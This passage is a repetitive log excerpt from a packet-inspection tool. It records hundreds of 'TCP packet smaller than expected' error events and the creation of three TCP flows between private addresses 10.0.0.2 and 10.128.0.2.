packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....11] [ip4][..tcp] [.......10.0.0.2][18248] -> [.....10.128.0.2][19019] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....12] [ip4][..tcp] [.......10.0.0.2][13105] -> [.....10.128.0.2][14648] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....13] [ip4][..tcp] [.......10.0.0.2][16243] -> [.....10.128.0.2][21055] - 